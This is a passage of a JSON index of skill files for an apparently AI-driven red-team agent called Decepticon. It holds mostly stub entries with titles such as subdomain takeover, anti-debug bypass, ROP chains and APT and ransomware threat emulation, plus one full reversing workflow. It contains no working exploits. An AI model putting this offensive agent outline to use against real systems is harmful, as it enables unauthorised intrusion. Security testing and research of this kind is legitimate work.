GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md)","tokens":300,"sizeBytes":257},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md","title":"subdomain-takeover","category":"anthropic-skill","format":"markdown","content":"# subdomain-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md)","tokens":300,"sizeBytes":304},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md","title":"waf-detection","category":"anthropic-skill","format":"markdown","content":"# waf-detection\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md)","tokens":300,"sizeBytes":289},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md","title":"wireless-security","category":"anthropic-skill","format":"markdown","content":"# wireless-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md)","tokens":300,"sizeBytes":281},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md","title":"android-malware","category":"anthropic-skill","format":"markdown","content":"# android-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md)","tokens":300,"sizeBytes":281},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md","title":"anti-debug-bypass","category":"anthropic-skill","format":"markdown","content":"# anti-debug-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md","title":"ctf-triage","category":"anthropic-skill","format":"markdown","content":"# ctf-triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md","title":"deep-analysis","category":"anthropic-skill","format":"markdown","content":"# deep-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md)","tokens":300,"sizeBytes":275},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md","title":"dotnet-malware","category":"anthropic-skill","format":"markdown","content":"# dotnet-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md)","tokens":300,"sizeBytes":278},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md","title":"fileless-malware","category":"anthropic-skill","format":"markdown","content":"# fileless-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md","title":"firmware","category":"anthropic-skill","format":"markdown","content":"# firmware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md","title":"fuzzing","category":"anthropic-skill","format":"markdown","content":"# fuzzing\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md)","tokens":300,"sizeBytes":257},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md","title":"ghidra","category":"anthropic-skill","format":"markdown","content":"# ghidra\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md","title":"ios-static","category":"anthropic-skill","format":"markdown","content":"# ios-static\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md","title":"malware-triage","category":"anthropic-skill","format":"markdown","content":"# malware-triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md)","tokens":300,"sizeBytes":278},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md","title":"packer-unpacking","category":"anthropic-skill","format":"markdown","content":"# packer-unpacking\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md","title":"ransomware-analysis","category":"anthropic-skill","format":"markdown","content":"# ransomware-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md","title":"rootkit-analysis","category":"anthropic-skill","format":"markdown","content":"# rootkit-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md","title":"rop-chain","category":"anthropic-skill","format":"markdown","content":"# rop-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md)","tokens":300,"sizeBytes":263},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/SKILL.md","title":"reverser-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: reverser-overview\ndescription: Root pointer for the binary reversing lane. Covers triage, Radare2 fallback, string extraction, packer unpacking, virtualized protectors, symbol risk, ROP, Ghidra deep analysis, and firmware extraction.\nmetadata:\n subdomain: reverse-engineering\n when_to_use: \"reverser binary reversing triage strings packer unpack rop ghidra firmware VMProtect VMP2 Themida virtualized protectors overview routing\"\n upstream_ref: \"Decepticon reverser lane catalog — Ghidra, Radare2, Back Engineering VMProtect/Themida research, AFL++, libFuzzer, binwalk, and binary triage tooling\"\n capability_contract:\n lane: reverse-engineering\n scope: isolated-lab\n environment: [analysis-container, disposable-vm]\n required_tools: [ghidra, radare2, sanitizer]\n evidence: [binary-sha256, function-map, dynamic-trace, minimized-input]\n verification: \"reproduce the claimed behavior against the pinned binary hash\"\n negative_control: \"run a benign corpus input through the same harness\"\n scorecard: [reproducer-rate, root-cause-rate, artifact-completeness]\n benchmark: held-out-reversing\n---\n\n# Reverser Skill Catalog\n\n## Playbooks\n| Skill | Use for |\n|---|---|\n| `/skills/standard/reverser/triage/SKILL.md` | First-pass ELF/PE/Mach-O triage |\n| `/skills/standard/reverser/firmware/SKILL.md` | Router / IoT firmware extraction |\n| `/skills/standard/reverser/packer-unpacking/SKILL.md` | UPX / ASPack / Themida / VMProtect |\n| `/skills/standard/reverser/virtualized-protectors/SKILL.md` | VMProtect / VMP2 / Themida workflow |\n| `/skills/standard/reverser/rop-chain/SKILL.md` | Gadget hunting for exploit dev |\n| `/skills/standard/reverser/anti-debug-bypass/SKILL.md` | IsDebuggerPresent, ptrace, NtGlobalFlag |\n| `/skills/standard/reverser/ghidra/SKILL.md` | Deep Ghidra analysis — decompile, xrefs, imports, P-code |\n| `/skills/standard/reverser/windows-internals/SKILL.md` | Defensive driver exposure assessment in disposable Windows VMs |\n| `/skills/standard/reverser/game-security/SKILL.md` | Self-hosted game client, protocol, replay, and server-authority research |\n\n## Workflow\n1. Check which reversing tools the active runtime exposes. Hosted runs use an isolated REA/Ghidra companion and mirrored GUI; standalone OSS starts the `reversing` workload for REA native analysis.\n2. `bin_identify` — format, arch, NX/PIE\n3. `bin_packer` — entropy + signature\n4. If packed → follow the packer-unpacking skill, re-identify after unpack\n5. `bin_strings` — category=url/ip/crypto/secret/version to seed the graph\n6. `bin_symbols_report` — risk bucket classification\n7. Version strings → `cve_lookup` + `cve_by_package`\n8. In hosted runs, the engagement agent passes a discovered `/workspace` binary to `rea_open_binary` and discovers available native tools with `rea_find_tools`. In standalone OSS, call `rea_find_tools(binary_path, query)` to pin the binary and discover the active Ghidra provider's tools.\n9. Inspect functions and cross-references with REA native tools, preserving each Evidence ID and bundle manifest. Hosted GUI visibility is a separate readback claim. In standalone OSS, use `rea_call_tool` for deep analysis and `bin_r2_script` as a fallback when REA is unavailable.\n10. Record every observation in the knowledge graph\n","frontmatter":{"name":"reverser-overview","description":"Root pointer for the binary reversing lane. Covers triage, Radare2 fallback, string extraction, packer unpacking, virtualized protectors, symbol risk, ROP, Ghidra deep analysis, and firmware extraction.","metadata":{"subdomain":"reverse-engineering","when_to_use":"reverser binary reversing triage strings packer unpack rop ghidra firmware VMProtect VMP2 Themida virtualized protectors overview routing","upstream_ref":"Decepticon reverser lane catalog — Ghidra, Radare2, Back Engineering VMProtect/Themida research, AFL++, libFuzzer, binwalk, and binary triage tooling","capability_contract":{"lane":"reverse-engineering","scope":"isolated-lab","environment":["analysis-container","disposable-vm"],"required_tools":["ghidra","radare2","sanitizer"],"evidence":["binary-sha256","function-map","dynamic-trace","minimized-input"],"verification":"reproduce the claimed behavior against the pinned binary hash","negative_control":"run a benign corpus input through the same harness","scorecard":["reproducer-rate","root-cause-rate","artifact-completeness"],"benchmark":"held-out-reversing"}}},"isInternal":false,"tokens":834,"sizeBytes":3342},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md","title":"triage","category":"anthropic-skill","format":"markdown","content":"# triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md","title":"virtualized-protectors","category":"anthropic-skill","format":"markdown","content":"# virtualized-protectors\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md)","tokens":300,"sizeBytes":302},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md","title":"yara-hunting","category":"anthropic-skill","format":"markdown","content":"# yara-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md","title":"abort-template","category":"anthropic-skill","format":"markdown","content":"# abort-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md)","tokens":300,"sizeBytes":280},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md","title":"cleanup-template","category":"anthropic-skill","format":"markdown","content":"# cleanup-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"kill-chain-templates.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md)","tokens":300,"sizeBytes":336},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md","title":"conops-template","category":"anthropic-skill","format":"markdown","content":"# conops-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md)","tokens":300,"sizeBytes":283},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md","title":"contact-template","category":"anthropic-skill","format":"markdown","content":"# contact-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md","title":"data-handling-template","category":"anthropic-skill","format":"markdown","content":"# data-handling-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md)","tokens":300,"sizeBytes":304},{"name":"objective-rules.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md)","tokens":300,"sizeBytes":328},{"name":"objective-templates.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md)","tokens":300,"sizeBytes":336},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md","title":"opplan-converter","category":"anthropic-skill","format":"markdown","content":"# opplan-converter\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"schema-quick-reference.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md)","tokens":300,"sizeBytes":308},{"name":"roe-example.json","path":"packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json","title":"References Skill","category":"anthropic-skill","format":"json","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json)","tokens":300,"sizeBytes":316},{"name":"validation-checklist.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md)","tokens":300,"sizeBytes":330},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md","title":"roe-template","category":"anthropic-skill","format":"markdown","content":"# roe-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md)","tokens":300,"sizeBytes":274},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md","title":"structured-questions","category":"anthropic-skill","format":"markdown","content":"# structured-questions\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md)","tokens":300,"sizeBytes":298},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md","title":"apt29","category":"anthropic-skill","format":"markdown","content":"# apt29\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md)","tokens":300,"sizeBytes":303},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md","title":"fin7","category":"anthropic-skill","format":"markdown","content":"# fin7\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md)","tokens":300,"sizeBytes":300},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md","title":"lazarus","category":"anthropic-skill","format":"markdown","content":"# lazarus\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md)","tokens":300,"sizeBytes":309},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md","title":"lockbit","category":"anthropic-skill","format":"markdown","content":"# lockbit\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md)","tokens":300,"sizeBytes":309},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md","title":"sandworm","category":"anthropic-skill","format":"markdown","content":"# sandworm\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md`\n\n[View Raw Content on 